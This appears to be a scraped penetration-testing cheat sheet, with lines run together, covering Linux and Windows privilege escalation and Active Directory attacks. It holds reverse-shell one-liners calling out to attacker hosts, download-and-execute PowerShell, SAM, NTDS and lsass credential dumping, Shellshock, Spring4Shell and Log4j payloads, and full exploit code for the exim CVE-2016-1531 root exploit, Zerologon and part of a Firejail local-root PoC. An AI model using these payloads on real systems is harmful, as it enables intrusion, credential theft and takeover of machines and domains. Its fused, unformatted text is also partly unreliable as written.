find ./ -type f -exec grep --color=always -i -I 'password' {} \; // search for passwordsgrep -R db_passwd
grep -roiE "password.{20}"
grep -oiE "password.{20}" /etc/*.conf
grep -v "^[#;]" /PATH/TO/FILE | grep -v "^$" // grep for passwords like "DBPassword:"sudo /usr/sbin/apache2 -f <FILE>echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"};' > /etc/apt/apt.conf.d/<FILE>aria2c -d /root/.ssh/ -o authorized_keys "http://<LHOST>/authorized_keys" --allow-overwrite=true- Bash <4.4
env -i SHELLOPTS=xtrace PS4='$(chmod +s /bin/bash)' /usr/local/bin/<BINARY>- Bash <4.2-048
function /usr/sbin/<BINARY> { /bin/bash -p; }
export -f /usr/sbin/<BINARY>
/usr/sbin/<BINARY>https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}or
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}gcc -o <SHARED_OBJECT>.so <FILE>.c -shared -FPIC -nostartfiles sudo LD_PRELOAD=/PATH/TO/SHARED_OBJECT/<SHARED_OBJECT>.so <BINARY>ldd /PATH/TO/BINARY/<BINARY>#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}gcc -o <LIBRARY>.so.<NUMBER> -shared -fPIC <FILE>.csudo LD_LIBRARY_PATH=/PATH/TO/LIBRARY/<LIBRARY>.so.<NUMBER> <BINARY>if [ `id -u` -eq 0 ]; then ( /bin/sh -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 ); fi./logrotten -p ./payloadfile /tmp/log/pwnme.log./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.logfind / -perm -u=s -type f 2>/dev/null
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
export PATH=$(pwd):$PATH/usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binless /etc/profile
!/bin/shVISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
vless /etc/profile
v:shellTF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
scp -S $TF x y:vi -c ':!/bin/sh' /dev/nullvi
:set shell=/bin/sh
:shellssh <USERNAME>@<RHOST> -t sh
ssh <USERNAME>@<RHOST> -t /bin/sh
ssh <USERNAME>@<RHOST> -t "/bin/bash --no-profile"The binary need to have the SUID bit set.
/usr/sbin/relayd -C /etc/shadowhttps://tbhaxor.com/exploiting-shared-library-misconfigurations/
#include <stdlib.h>
#include <unistd.h>
void _init() {
setuid(0);
setgid(0);
system("/bin/bash -i");
}gcc -shared -fPIC -nostartfiles -o <FILE>.so <FILE>.chttps://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
With the command touch -- --checkpoint=1 will be a file created. Why? Because the -- behind the command touch is telling touch, that there's option to be wait for.
Instead of an option, it creates a file, named --checkpoint=1.
touch -- --checkpoint=1or
touch ./--checkpoint=1So after creating the --checkpoint=1 file, i created another file, which executes a shell script.
touch -- '--checkpoint-action=exec=sh shell.sh'or
touch ./--checkpoint-action=exec=<FILE>To delete a misconfigured file, put a ./ in front of it.
rm ./'--checkpoint-action=exec=python script.sh'/dev/shm
/tmpsysteminfo
whoami /all
net user
net user /domain
net user <USERNAME>
tree /f C:\Users\
tasklist /SVC
sc query
sc qc <SERVICE>
netsh firewall show state
schtasks /query /fo LIST /v
findstr /si password *.xml *.ini *.txt
dir /s *pass* == *cred* == *vnc* == *.config*
accesschk.exe -uws "Everyone" "C:\Program Files\"
wmic qfe get Caption,Description,HotFixID,InstalledOn
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', PathBypass List (Windows 10 Build 1803):
C:\Windows\Tasks
C:\Windows\Temp
C:\Windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
.\accesschk.exe /accepteula -quvw "C:\PATH\TO\FILE\<FILE>.exe".\accesschk.exe /accepteula -uwcqv <USERNAME> daclsvc.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\<UNQUOTED_SERVICE_PATH>".\accesschk.exe /accepteula -uvwqk <REGISTRY_KEY>net user <USERNAME> <PASSWORD> /add /domain
net group "Exchange Windows Permissions" /add <USERNAME>
net localgroup "Remote Management Users" /add <USERNAME>reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=yesor
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0;
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1;
Enable-NetFirewallRule -DisplayGroup "Remote Desktop";reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installermsfvenom -p windows/meterpreter/reverse_tcp lhost=<LHOST> lport=<LPORT> -f msi > <FILE>.msimsiexec /quiet /qn /i <FILE>.msireg save hklm\system C:\Users\<USERNAME>\system.hive
reg save hklm\sam C:\Users\<USERNAME>\sam.hiveimpacket-secretsdump -sam sam.hive -system system.hive LOCALhttps://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug
SET CONTEXT PERSISTENT NOWRITERSp
add volume c: alias foobarp
createp
expose %foobar% z:pdiskshadow /s <FILE>.txtCopy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ndts.ditreg save HKLM\SYSTEM c:\temp\systemimpacket-secretsdump -sam sam -system system -ntds ntds.dit LOCALreg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\systemset metadata C:\Windows\temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupXdiskshadow /s script.txt
robocopy /b E:\Windows\ntds . ntds.ditimpacket-secretsdump -sam sam -system system -ntds ntds.dit LOCALsc.exe query
$services=(get-service).name | foreach {(Get-ServiceAcl $_) | where {$_.access.IdentityReference -match 'Server Operators'}}sc.exe config VSS binpath="C:\temp\nc64.exe -e cmd <LHOST> <LPORT>"
sc.exe stop VSS
sc.exe start VSStakeown /f C:\Windows\System32\Utilman.exeicacls C:\Windows\System32\Utilman.exe /grant Everyone:FC:\Windows\System32\> copy cmd.exe utilman.exeClick the Ease of Access button on the logon screen to get a shell with NT Authority\System privileges.
.\RogueWinRM.exe -p "C:\> .\nc64.exe" -a "-e cmd.exe <LHOST> <LPORT>"reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1Then open a new Terminal Window.
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runreq query <REGISTRY_KEY>reg add <REGISTRY_KEY> /v <VALUE_TO_MODIFY> /t REG_EXPAND_SZ /d C:\PATH\TO\FILE\<FILE>.exe /fhttps://twitter.com/NinjaParanoid/status/1516442028963659777?t=g7ed0vt6ER8nS75qd-g0sQ&s=09
cmdkey /list
rundll32 keymgr.dll, KRShowKeyMgr
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /s
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionStringdir .s *pass* == *.config
findstr /si password *.xml *.ini *.txt
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\<USERNAME>\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorActiontype %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtcmdkey /list
runas /savecred /user:<USERNAME> cmd.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"Get-ADComputer <RHOST> -property 'ms-mcs-admpwd'reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /sreg save hklm\system system
reg save hklm\sam sam
reg.exe save hklm\sam c:\temp\sam.save
reg.exe save hklm\security c:\temp\security.save
reg.exe save hklm\system c:\temp\system.saveGet-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinueC:\Windows\System32\inetsrv>appcmd.exe list apppool /@:*
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionStringreg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /stasklist
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 688 C:\Users\Administrator\Documents\lsass.dmp fullC:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xmlaccesschk64.exe -qlc <SERVICE>
icacls C:\Users\<USERNAME>\<FILE>.exe /grant Everyone:F
sc config <SERVICE> binPath= "C:\Users\<USERNAME>\<FILE>.exe" obj= LocalSystem
sc stop <SERVICE>
sc start <SERVICE>sc create <SERVICE_NAME>
sc start <SERVICE_NAME>
sc qc <SERVICE_NAME>schtasks
schtasks /query /tn <TASK> /fo list /v
schtasks /run /tn <TASK>
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,StateSearch for Unquoted Service Paths by using sc qc.
sc qc
sc qc <SERVICE>
sc stop <SERVICE>
sc start <SERVICE>icacls <PROGRAM>.exe
icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe
icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe /grant Everyone:Fhttps://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $SecPassword)
Add-ObjectACL -PrincipalIdentity <USERNAME> -Credential $Cred -Rights DCSyncwmic product get name,version,vendor
wmic qfe get Caption,Description,HotFixID,InstalledOn # no new patches - KEXP pretty likelyhttps://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
https://github.com/AlmondOffSec/PassTheCert/tree/main/Python
certipy-ad cert -pfx <CERTIFICATE>.pfx -nokey -out <CERTIFICATE>.crt
certipy-ad cert -pfx <CERTIFICATE>.pfx -nocert -out <CERTIFICATE>.key
python3 passthecert.py -domain '<DOMAIN>' -dc-host '<DOMAIN>' -action 'modify_user' -target '<USERNAME>' -new-pass '<PASSWORD>' -crt ./<CERTIFICATE>.crt -key ./<CERTIFICATE>.key
evil-winrm -i '<RHOST>' -u '<USERNAME>' -p '<PASSWORD>'python3 gettgtpkinit.py -cert-pfx <USERNAME>.pfx -dc-ip <RHOST> <DOMAIN>/<USERNAME> <USERNAME>.ccache
export KRB5CCNAME=<USERNAME>.ccache
python3 getnthash.py <DOMAIN>/<USERNAME> -key 6617cde50b7ee63faeb6790e84981c746efa66f68a1cc3a394bbd27dceaf0554export ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; donepowershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1');powercat -c <LHOST> -p <LPORT> -e cmd"Import-Module ./Powermad.ps1
$secureString = convertto-securestring "<PASSWORD>" -asplaintext -force
New-MachineAccount -MachineAccount <NAME> -Domain <DOMAIN> -DomainController <DOMAIN> -Password $secureStringwhoami /all
getuserid
systeminfo
Get-Process
net users
net users <USERNAME>
Get-ADUser -Filter * -SearchBase "DC=<DOMAIN>,DC=LOCAL"
Get-Content <FILE>
Get-ChildItem . -Force
GCI -hidden
type <FILE> | findstr /l <STRING>
[convert]::ToBase64String((Get-Content -path "<FILE>" -Encoding byte))Set-ExecutionPolicy remotesigned
Set-ExecutionPolicy unrestrictedpowershell.exe -noprofile -executionpolicy bypass -file .\<FILE>.ps1Import-Module .\<FILE>Set-ExecutionPolicy Unrestricted
powershell -Command "$PSVersionTable.PSVersion"
powershell -c "[Environment]::Is64BitProcess"type C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtCompress-Archive -LiteralPath C:\PATH\TO\FOLDER\<FOLDER> -DestinationPath C:\PATH\TO\FILE<FILE>.zipExpand-Archive -Force <FILE>.zipStart-Process -FilePath "C:\nc64.exe" -ArgumentList "<LHOST> <LPORT> -e powershell"IEX(IWR http://<LHOST>/<FILE>.ps1)
Invoke-Expression (Invoke-WebRequest http://<LHOST/<FILE>.ps1)$bytes = (Invoke-WebRequest "http://<LHOST>/<FILE>.exe" -UseBasicParsing ).Content
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entryPointMethod = $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')
$entryPointMethod.Invoke($null, (, [string[]] ('find', '/<COMMAND>')))$offsec_session = New-PSSession -ComputerName <RHOST> -Authentication Negotiate -Credential <USERNAME>
Enter-PSSession $offsec_session$SecurePassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<USERNAME>', $SecurePassword)
$Session = New-PSSession -Credential $Cred
Invoke-Command -Session $session -scriptblock { whoami }or
$username = '<USERNAME>'
$password = '<PASSWORD>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process powershell.exe -Credential $credentialpowershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"$PASSWORD= ConvertTo-SecureString –AsPlainText -Force -String <PASSWORD>
New-ADUser -Name "<USERNAME>" -Description "<DESCRIPTION>" -Enabled $true -AccountPassword $PASSWORD
Add-ADGroupMember -Identity "Domain Admins" -Member <USERNAME>$pass = ConvertTo-SecureString "<PASSWORD>" -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential ("<DOMAIN>\<USERNAME>", $pass)
Invoke-Command -computername <COMPUTERNAME> -ConfigurationName dc_manage -credential $cred -command {whoami}$pass = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<DOMAIN>\<USERNAME>", $pass)
Invoke-Command -Computer <RHOST> -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://<LHOST>/<FILE>.ps1') } -Credential $cred. .\PrivescCheck.ps1; Invoke-PrivescCheck(local) pwncat$ back // get back to shell
Ctrl+d // get back to pwncat shellpwncat-cs -lp <LPORT>
(local) pwncat$ download /PATH/TO/FILE/<FILE> .
(local) pwncat$ upload /PATH/TO/FILE/<FILE> /PATH/TO/FILE/<FILE>rpcclient -U "" <RHOST>dsr_getdcname
dsr_getdcnameex
dsr_getdcnameex2
dsr_getsitename
enumdata
enumdomgroups
enumdomusers
enumjobs
enumports
enumprivs
getanydcname
getdcname
lookupsids
lsaenumsid <SID>
lsaquery
netconnenum
netdiskenum
netfileenum
netsessenum
netshareenum
netshareenumall
netsharegetinfo
queryuser <USERNAME>
srvinfo.\Rubeus.exe tgtdeleg /nowrap.\Rubeus.exe kerberoast /user:<USERNAME>.\Rubeus.exe asktgt /user:Administrator /certificate:7F052EB0D5D122CEF162FAE8233D6A0ED73ADA2E /getcredentials.\RunasCs.exe <USERNAME> <PASSWORD> cmd.exe -r <LHOST>:<LPORT>
.\RunasCs.exe <USERNAME> <PASSWORD> cmd.exe -r <LHOST>:<LPORT> --bypass-uac
.\RunasCs.exe -d <DOMAIN> "<USERNAME>" '<PASSWORD>' cmd.exe -r <LHOST>:<LPORT>
.\RunasCs.exe -l 3 -d <DOMAIN> "<USERNAME>" '<PASSWORD>' 'C:\Users\<USERNAME>\Downloads\<FILE>.exe'smbpasswd -r <RHOST> -U <USERNAME>winexe -U '<USERNAME%PASSWORD>' //<RHOST> cmd.exe
winexe -U '<USERNAME%PASSWORD>' --system //<RHOST> cmd.execurl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' http://<RHOST>/cgi-bin/user.sh- exim version <= 4.84-3
#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps.
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
#
# -- Hacker Fantastic
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;
system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps- Sudo version < 1.8.28
!root:
sudo -u#-1 /bin/bashhttps://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.py
python3 -m pip install virtualenv
python3 -m virtualenv venv
source venv/bin/activate
pip install git+https://github.com/SecureAuthCorp/impacket newPassRequest = nrpc.NetrServerPasswordSet2()
newPassRequest['PrimaryName'] = dc_handle + '\x00'
newPassRequest['AccountName'] = target_computer + '$\x00'
newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
auth = nrpc.NETLOGON_AUTHENTICATOR()
auth['Credential'] = b'\x00' * 8
auth['Timestamp'] = 0
newPassRequest['Authenticator'] = auth
newPassRequest['ComputerName'] = target_computer + '\x00'
newPassRequest['ClearNewPassword'] = b'\x00' * 516
rpc_con.request(newPassRequest)#!/usr/bin/env python3
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto
import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
def fail(msg):
print(msg, file=sys.stderr)
print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
sys.exit(2)
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
# Connect to the DC's Netlogon service.
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# Use an all-zero challenge and credential.
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
newPassRequest = nrpc.NetrServerPasswordSet2()
newPassRequest['PrimaryName'] = dc_handle + '\x00'
newPassRequest['AccountName'] = target_computer + '$\x00'
newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
auth = nrpc.NETLOGON_AUTHENTICATOR()
auth['Credential'] = b'\x00' * 8
auth['Timestamp'] = 0
newPassRequest['Authenticator'] = auth
newPassRequest['ComputerName'] = target_computer + '\x00'
newPassRequest['ClearNewPassword'] = b'\x00' * 516
rpc_con.request(newPassRequest)
return rpc_con
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
return None
else:
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
except BaseException as ex:
fail(f'Unexpected error: {ex}.')
def perform_attack(dc_handle, dc_ip, target_computer):
# Keep authenticating until succesfull. Expected average number of attempts needed: 256.
print('Performing authentication attempts...')
rpc_con = None
for attempt in range(0, MAX_ATTEMPTS):
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
if not rpc_con:
print('=', end='', flush=True)
else:
break
if rpc_con:
print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
else:
print('\nAttack failed. Target is probably patched.')
sys.exit(1)
if __name__ == '__main__':
if not (3 <= len(sys.argv) <= 4):
print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')
print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
sys.exit(1)
else:
[_, dc_name, dc_ip] = sys.argv
dc_name = dc_name.rstrip('$')
perform_attack('\\\\' + dc_name, dc_ip, dc_name)python3 zerologon_tester.py <HANDLE> <RHOST>
impacket-secretsdump -just-dc -no-pass <HANDLE>\$@<RHOST>- Ubuntu 20.04 (Sudo 1.8.31)
- Debian 10 (Sudo 1.8.27)
- Fedora 33 (Sudo 1.9.2)
- All legacy versions >= 1.8.2 to 1.8.31p2 and all stable versions >= 1.9.0 to 1.9.5p1
sudoedit -s /The machine is vulnerable if one of the following message is shown.
sudoedit: /: not a regular file
segfaultNot vulnerable if the error message starts with usage:.
wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jarjava -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "<COMMAND>"${jndi:ldap://<LHOST>:1389/ci1dfd}https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
tar -xvf jdk-8u20-linux-x64.tar.gzpython poc.py --userip <LHOST> --webport <RPORT> --lport <LPORT> ${jndi:ldap://<LHOST>:1389/foobar}gcc -o dirtypipe dirtypipe.c
./dirtypipe /etc/passwd 1 ootz:
su rootzcurl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl <LHOST>/<FILE>.sh -o /dev/shm/<FILE>")' --data-raw 'data' -vcurl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/<FILE>")' --data-raw 'data' -v#!/usr/bin/python3
# Author: Matthias Gerstner <matthias.gerstner () suse com>
#
# Proof of concept local root exploit for a vulnerability in Firejail 0.9.68
# in joining Firejail instances.
#
# Prerequisites:
# - the firejail setuid-root binary needs to be installed and accessible to the
# invoking user
#
# Exploit: The exploit tricks the Firejail setuid-root program to join a fake
# Firejail instance. By using tmpfs mounts and symlinks in the unprivileged
# user namespace of the fake Firejail instance the result will be a shell that
# lives in an attacker controller mount namespace while the user namespace is
# still the initial user namespace and the nonewprivs setting is unset,
# allowing to escalate privileges via su or sudo.
import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path
# Print error message and exit with status 1
def printe(*args, **kwargs):
kwargs['file'] = sys.stderr
print(*args, **kwargs)
sys.exit(1)
# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
s = os.stat(f)
if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
return False
with open(f) as fd:
ch = fd.read(2)
if len(ch) != 1 or ch != "1":
return False
return True
def mountTmpFS(loc):
subprocess.check_call("mount -t tmpfs none".split() + [loc])
def bindMount(src, dst):
subprocess.check_call("mount --bind".split() + [src, dst])
def checkSelfExecutable():
s = os.stat(__file__)
if (s.st_mode & stat.S_IXUSR) == 0:
printe(f"{__file__} needs to have the execute bit set for the exploit to work. Run `chmod +x {__file__}` and try again.")
# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
# just run a long sleep command in an unsecured sandbox
proc = subprocess.Popen(
"firejail --noprofile -- sleep 10d".split(),
stderr=subprocess.PIPE)
# read out the child PID from the stderr output of firejail
while True:
line = proc.stderr.readline()
if not line:
raise Exception("helper sandbox creation failed")
# on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
line = line.decode('utf8').strip().lower()
if line.find("child pid") == -1:
continue
child_pid = line.split()[-1]
try:
child_pid = int(child_pid)
break
except Exception:
raise Exception("failed to determine child pid from helper sandbox")
# We need to find the child process of the child PID, this is the
# actual sleep process that has an accessible root filesystem in /proc
children = f"/proc/{child_pid}/task/{child_pid}/children"
# If we are too quick then the child does not exist yet, so sleep a bit
for _ in range(10):
with open(children) as cfd:
line = cfd.read().strip()
kids = line.split()
if not kids:
time.sleep(0.5)
continue
elif len(kids) != 1:
raise Exception(f"failed to determine sleep child PID from helper sandbox: {kids}")
try:
sleep_pid = int(kids[0])
break
except Exception:
raise Exception("failed to determine sleep child PID from helper sandbox")
else:
raise Exception(f"sleep child process did not come into existence in {children}")
join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
if not os.path.exists(join_file):
raise Exception(f"join file from helper sandbox unexpectedly not found at {join_file}")
return proc, join_file
# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):
if not checkFile(join_file):
printe(f"{join_file}: this file does not match the requirements (owner uid 0, size 1 byte, content '1')")
os.environ["FIREJOIN_JOINFILE"] = join_file
os.environ["FIREJOIN_UNSHARED"] = "1"
unshare = shutil.which("unshare")
if not unshare:
printe("could not find 'unshare' program")
cmdline = "unshare -U -r -m".split()
cmdline += [__file__]
# Re-execute this script with unshared user and mount namespaces
subprocess.call(cmdline)
if "FIREJOIN_UNSHARED" not in os.environ:
# First stage of execution, we first need to fork off a helper sandbox and
# an exploit environment
checkSelfExecutable()
helper_proc, join_file = createHelperSandbox()
reexecUnshared(join_file)
helper_proc.kill()
helper_proc.wait()
sys.exit(0)
else:
# We are in the sandbox environment, the suitable join file has been
# forwarded from the first stage via the environment
join_file = os.environ["FIREJOIN_JOINFILE"]
# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"
# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:
mountTmpFS("/proc/1")
except subprocess.CalledProcessError:
# This is a special case for Fedora Linux where SELinux rules prevent us
# from mounting a tmpfs over proc directories.
# We can still circumvent this by mounting a tmpfs over all of /proc, but
# we need to bind-mount a copy of our own time namespace first that we can
# symlink to.
with open("/tmp/time", 'w') as _:
pass
time_ns_src = "/tmp/time"
bindMount("/proc/self/ns/time", time_ns_src)
mountTmpFS("/proc")
FJ_MNT_ROOT = Path("/run/firejail/mnt")
# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")
# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
umask_fd.write("022")
# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")
# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
